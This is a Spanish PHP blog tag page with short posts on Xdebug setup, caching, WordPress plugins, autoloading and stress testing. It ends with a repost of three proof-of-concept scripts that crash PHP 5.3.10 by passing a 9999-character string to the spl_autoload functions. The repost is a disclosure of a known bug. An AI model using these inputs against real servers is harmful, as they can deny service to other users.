Mostrando entradas con la etiqueta PHP. Mostrar todas las entradas
Mostrando entradas con la etiqueta PHP. Mostrar todas las entradas

Configuración rápida de Xdebug

Para configurar rápidamente Xdebug hay que seguir estos pasos:
Entrar en http://xdebug.org/wizard.php y poner el html generado por la función phpinfo().
Bajarnos la dll que nos dice y ponerla en el directorio indicado.
Modificar el php.ini donde pone [XDebug] poner lo siguiente:

[XDebug]
zend_extension = C:\xampp\php\ext\php_xdebug-2.2.0-5.3-vc9.dll
xdebug.remote_enable=1
xdebug.remote_host="localhost"
xdebug.remote_port=9000
xdebug.remote_handler="dbgp"


Reiniciar el servidor Apache.


Cacheando con PHP

Precisamente hoy terminaba una aplicación web que conecta a un servicio web pidiéndole una serie de datos sobre apuestas deportivas, sobre esos datos se realiza un tratamiento, que sin ser demasiado pesado, ralentiza algo más de la cuenta la página, si ademas tenemos en cuenta que en caso de que el tráfico sea alto podemos sobrecargar excesivamente el servidor, al final he optado por un modelo de cache bastante sencillo.

Cuando se utiliza PHP como un módulo de Apache se pueden cambiar ciertos ajustes de configuración usando directivas en los ficheros de configuración de Apache, como por ejemplo los ficheros .htaccess
En este caso las directivas que nos interesan son auto_prepend_file y auto_append_file, cito textualmente:

Desarrollo de plugins para wordpress (I)

Worpress es un potente gestor de contenidos con una flexibilidad que le permite hacer casi cualquier cosa. Esa versatilidad se la debe a la capacidad de extender sus funcionalidades básicas mediante un potente sistema de plugins. Es en el desarrollo de estos plugins en lo que nos vamos a centrar de aquí en adelante, ya que conociendo este sistema podremos lograr que nuestro wordpress baje a pasear al perro, o casi.

Como no, como en cualquier tutorial que se precie, vamos a desarrollar nuestro primer plugin mientras vamos explicando los conceptos que nos interesan, los archivos que se vayan creando, estarán disponibles para descarga.

Autoloader único en PHP usando spl_autoload_register

En este artículo vamos a ver como automatizar la carga de las clases o interfaces de nuestra aplicación de manera automática, evitando tener que controlar en cada fichero de la misma los engorrosos includes. Para ello vamos a hacer uso de la función spl_autoload_register. Está función añade la función que indiquemos a la pila de autocarga.

Test de estrés para páginas o servicios web

Hay una herramienta que utilizo desde hace ya bastante tiempo, que resulta de una gran utilidad cuando queremos probar nuestras páginas o servicios web, también es muy útil a la hora de corregir errores de comunicación entre distintas partes de una web, o entre un cliente y un servicio web.

Denegación de servicio en PHP 5.3.10


Se han descubierto tres nuevas vulnerabilidades que provocan denegación de servicio en PHP 5.3.10. Estas se dan a nivel local al llamar a a las funciones spl_autoload_call() , spl_autoload_register() o spl_autoload() con un parámetro de longitud igual o superior a 9999 caracteres.

spl_autoload_call()

[php]
<?php
#####################################################################
## PHP 5.3.10 spl_autoload_call() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buffer = str_repeat("A",9999);
spl_autoload_call($buffer);
?>
[/php]

spl_autoload_register()

[php]
<?php
#####################################################################
## PHP 5.3.10 spl_autoload_register() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buffer = str_repeat("A",9999);
spl_autoload_register($buffer);

## Or..
# spl_autoload_register($buffer,1,1); #Should work too.
?>
[/php]

spl_autoload()

[php]
<?php
#####################################################################
## PHP 5.3.10 spl_autoload() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buff = str_repeat("A",9999);
spl_autoload($buff);
?>
[/php]
Vía http://packetstormsecurity.org